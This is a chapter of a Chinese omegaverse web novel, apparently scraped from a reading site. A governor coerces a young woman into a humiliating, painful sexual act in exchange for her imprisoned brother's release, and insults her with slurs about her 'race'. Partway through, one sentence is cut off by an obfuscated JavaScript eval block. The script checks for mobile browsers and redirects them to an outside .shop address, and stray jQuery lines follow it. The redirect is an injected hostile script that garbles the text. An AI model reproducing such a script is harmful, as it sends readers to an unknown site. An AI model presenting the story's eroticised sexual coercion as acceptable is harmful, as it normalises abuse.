11. 一场交易

作品:《总督的金色囚笼

    尤纪从未如此细致地观察过桑雷斯·贝德福的长相。


    不管是在联邦还是帝国的审美里,这个男人都拥有着非常优越的相貌。


    他五官轮廓深刻,线条分明,鼻梁高挺而匀称。


    海蓝色的眼睛嵌在他深邃的眼窝里,透出一股暗沉沉的视线。


    这是个像雕像一样冷硬的男人,就连暖黄色的灯光也无法将他锐利的气质变得柔和。


    他的语言也是锐利的——你等不及了?


    你等不及拯救你正在牢狱中的兄长,还是等不及去抚-慰一个易感期的Alpha?


    你连好好用完一顿晚餐的心情都没有,迫不及待就要与我开始一场交易?


    是,这是一场不光彩的交易。


    但他明明可以做得很体面,而不是用模棱两可的话来问她。


    尤纪甚至听出了他话语中的嘲讽。


    她很想像初次见面那样,向他分析疑点,陈清利弊,像一只刚刚出生,还未见过老虎的牛犊。


    她也想像今天上午那样,莽撞地用自以为的秘密与他进行一场交换。


    但这些都不行。


    在经历了兰德尔的逃杀游戏之后,尤纪突然意识到了一件她不得不承认的现实。


    ——她没有资本跟他谈条件。


    他是高高在上的总督,他掌握了一切生杀予夺的大权。


    是,这是一场不光彩的交易,她是这场交易的商品。


    而现在,商品要主动开口,将自己卖个好价钱。


    尤纪垂下头,不敢再直视桑雷斯·贝德福。


    她攥住长裙的侧面,低声开口,“是的,我等不及了。”


    尤纪感受到了一丝很微弱的苦艾味道。


    微弱的信息素慢慢地从眼前人的身上逸散出来,和那个暴雨夜完全不同。


    她注射了抑制剂,她不会对信息素产生反应。


    她也知道桑雷斯·贝德福没有揭开抑制贴片。


    如果他揭开了贴片,此时就无法冷静地坐在书桌边上批阅文件。


    他们会像那个暴雨夜一样,在大脑混乱的情况下渡过迷-乱的一夜。


    桑雷斯没有说话,甚至没有再看她一眼。


    他起身,从酒柜中拿出一瓶未开过的利口酒,坐到了窗户边上单人沙发里。


    那里是办公小憩的休息场所,深红色的窗帘用绑带扣起来,一张半人高的小圆桌上摆着个长颈陶瓷瓶,里面没有放鲜花。


    他撕开标签,拧下瓶盖,握着修长的瓶身,朝杯中倒下淡黄色的酒液。


    他的脸上没有什么表情,高耸的眉骨遮掩了水晶吊灯的光线,尤纪看不清他的眼神。


    等待是一场漫长的酷刑。


    尤纪闻到了空气中混杂着酒香味的苦艾味道。


    她分辨出来,苦艾味道比先前浓了一些,但在空气中仍是稀薄的。


    桑雷斯一只手放在胡桃木质的沙发扶手上,一只手端着水晶杯,从容淡定地饮尽了杯中的利口酒。


    “过来。”尤纪听见他叫他。


    她提着裙摆,慢吞吞地朝他走过去。


    礼服裙太长了,行走非常不方便。高跟鞋踩在长毛地毯上,轻飘飘的没有发出声音。


    这段路实在是太过漫长。


    尤纪走到尤纪面前,直到离他只有一步之遥的距离才停住。


    站着的她比他高,但她却感到他在俯视她。


    这种俯视不是来自于高度,而是来自于权力。


    “开始吧。”桑雷斯说。


    开始?什么开始?


    起初尤纪还有些茫然,直到桑雷斯放下酒杯。


    他眼里是冷冰冰的视线,瞳孔里没有半分的欲色,反倒类似一种打量商品的审视。


    “跪下。”他说。


    “我哥哥……”


    尤纪还想说些什么,却被桑雷斯打断。


    他的声线低沉,带着些沙哑,又带着些蒂亚雨季的潮气。


    “想和我做交易,总要让我看到你的价值。”


    尤纪抿着唇。


    她还记得露丝说,总督喜欢温顺的女人。


    那时候尤纪还在想,温顺一般用来形容动物。


    尤纪低着头,顺从地在他面前跪下。


    桑雷斯倾身向前,伸出戴着黑色皮革手套的手,捏住少女柔嫩的脸颊。


    他的手指力气很大,尤纪的脸被捏得疼痛,被迫张开了嘴巴。


    这样的角度仰视他,能看到他清晰的下颔线。


    “痛……”


    尤纪忍不住开口求他轻一点。


    大拇指用力碾过少女殷红的嘴唇。


    她有一双黑白分明的眼睛,此刻这双眼睛因为疼痛,蒙上一层薄薄的水雾。


    那脱口而出的呼痛更像是一种软绵绵的邀请。


    她大概不知道此刻的她多有诱惑力。


    但她是一个低贱的新人类,一个到了发-情-期会失去理智,只知道交-配、像动物一样无法控制自己的贱民。


    一个新人类怎么可以对一个帝国的继承人有吸引力?是她在勾-引他。


    光是她站在那里就已经开始了她毫无廉耻的勾-引了。


    桑雷斯居高临下地看着尤纪。她的口红花了,白嫩脸颊上突兀地有着一抹艳红。


    他呼吸一停,不自觉地摩挲着颈侧的抑制贴。


    闭上眼睛时,眼前又浮现出她在兰德尔臂弯内的样子。


    于是桑雷斯愤怒起来,不知不觉加重了手上的力道。


    “真是卑贱的种族……”


    尤纪的眼角盈出泪花,又低低地喊了一声痛。


    桑雷斯松开了尤纪的脸颊。


    他一手抓着她的头发,将她拉得更近,另一只手虎口抵着她的下巴,手指顺着她的嘴唇探入她的口腔。


    一开始只是食指,后来慢慢地加入一根中指。


    尤纪的口中都是皮革的味道,那两根手指一开始只是缓缓描摹她的牙齿,然后突然顶住了她的上颚。


    隔着皮革手套,尤纪的舌头会碰到手套的缝线。


    她的嘴巴被手指搅得一塌糊涂,口水流出来,滴在地毯上。


    尤纪觉得屈辱,眼睛里都是泪水,视线里模糊一片。


    她用牙齿咬住他的手指。


    但桑雷斯并未收手,他将脸凑近了,鹰一样锐利的眼睛恶狠狠地盯着她。


    尤纪不知道他的仇恨从何而来。


    这样仇视让她浑身发抖。她又想起今天上午那对准她额头的枪口。


    黑洞洞的,要将她整个人吞进去。


    很快,桑雷斯的视线更加暗沉,变得和外面黑压压的天空一样密不透光。


    他戴着手套的两根手指正在她的口腔里,她的唇,她的舌,她的喉咙都是一股皮革的味道。


    尤纪有些喘不过气,她想摆脱嘴巴里的手指,晃动间,头顶的玫瑰金丝叶发冠滚落到地板上,滚了两圈,不动了。


    桑雷斯的目光似乎是被这顶发冠吸引,放开了对尤纪的钳制。


    这一番动作让尤纪的脸色发红,她瞪着眼睛,心中的愤怒简直要将眼前这个人烧成灰烬。


    早有心理准备——即使安德烈早就告诉过她这场交易,但真真正正地身处其中时,这样清醒状态下的侮辱还是让尤纪觉得难堪。


    “懂了吗?”桑雷斯反复用拇指揉捻尤纪的下唇,将口红糊在她的唇周,然后张开了交叠着的双腿。


    “像刚才那样……”


    尤纪颤着声音问:“要不要给我注射……解除抑制的药剂?”


    桑雷斯像是听见了什么笑话一样,先是沉沉笑


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203737|197317||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    起来,而后又抚摸着他颈侧的抑制贴,但并没有揭开它。


    “还真是个肮脏又放-荡的omega……”恶毒的话语从他口中流出来,不仅是语言,他的语调,他的眼神都带着轻蔑的嘲弄,“我说过了,你没有资本要求我。”


    尤纪的心直直沉了下去。


    她明白他为什么不揭开抑制贴,也不给她注射解除抑制的药剂了——他要他们双方都保持全程的清醒。


    这个疯子。他跟他那个变态弟弟一样是个疯子。


    尤纪咬着下唇,她的下唇简直快要被咬流血了。


    “不揭开抑制贴就进行结-合,会延长易感期……总督阁下,这只会延长痛苦的时间。”


    “还轮不到你来提醒。”


    桑雷斯将戴着手套的右手插-进尤纪的黑发间。


    尤纪的眼皮很薄,很容易就染上一层薄红。


    她的眼睫毛在发抖,那股倔强的劲头一点都不减,含泪看着人的时候,平白无故又添了点别的意思。


    桑雷斯不喜欢这双眼睛。


    她也用这样的眼睛看过兰德尔?


    但他的喉结上下滚动,一股让他心烦意乱的焦渴正顺着脊背爬上来。


    “不会吗?那我来教你。”


    桑雷斯按着她的头,手腕用力,将她压向自己,“张嘴。”


    尤纪泪水滚落,呜咽出声。


    交易双方在交易之前,会先谈好双方都可以接受的价码,再开始交易本身。


    尤纪没有交易的资本,商品本身不能算作是交易的卖出方。


    而他连谈价的过程都没有,直接让她开始。


    如果把她比作今夜的正餐,那顿丰盛而正式的晚餐,大概算是这个变态的餐前仪式。


    深红色的窗帘大喇喇地拉开着,窗外是夜幕下的山林。


    尤纪从落地窗中看到自己跪下来的样子。


    编了一个小时的头发早就凌乱了,几缕发丝沾着汗,可怜地贴在被捏红的脸侧。


    她的嘴唇、她的喉咙、她的身体、她的灵魂都因为这样毫无理由的粗鲁行为而疼痛。


    尤纪的灵魂漂浮在上空,面无表情地看着她为了救哥哥而献出自己。


    像是一只主动献祭的羔羊。


    值得吗?大概是值得的。她已经失去了父母,不能再失去哥哥。


    很划算的买卖。


    “学会了吗?”桑雷斯嗓子有些哑。


    “会了。”尤纪同样哑声回答。


    头顶的手掌收回了,她重新低下头。


    时间久了,竟然也不觉得侮辱和痛苦了。


    尤纪还能感受到桑雷斯的手在抚摸自己的头发,带着点似是而非的温情。


    可一眨眼,那点温情又全然消失,像是一场自我欺骗的错觉。


    一切结束之后,桑雷斯放开尤纪。


    他眼睛里是毫不掩饰的憎恶,但他的表情又是满足的,这让他看起来像个十足的变态。


    尤纪跌坐在地上,抓起礼服的裙摆擦拭脸上的痕迹。


    恍惚间,她听见他不带感情的声音从上方传来:“你今天犯了一个错,你不该跟着兰德尔走。”


    尤纪温顺地回答着银发总督。:“是的,我差点就被他杀死了,还好有您。”


    关于这件事情,她确实真心实意地感谢他。


    她的奉承取悦了桑雷斯·贝德福。


    他身体后仰,双手放在沙发扶手上,体会到掌控力重新回到手中的感觉。


    “麦肯·威尔森怎么样?他也是通讯专家,可以把你哥哥换出去。”


    尤纪浑身一抖。


    她抬起眼,目光却越过桑雷斯的肩膀,看到后方书桌上那把手木-仓。


    暖黄色的落地灯前,它的金属外壳泛着银光,仿佛一位等待多时的旧友。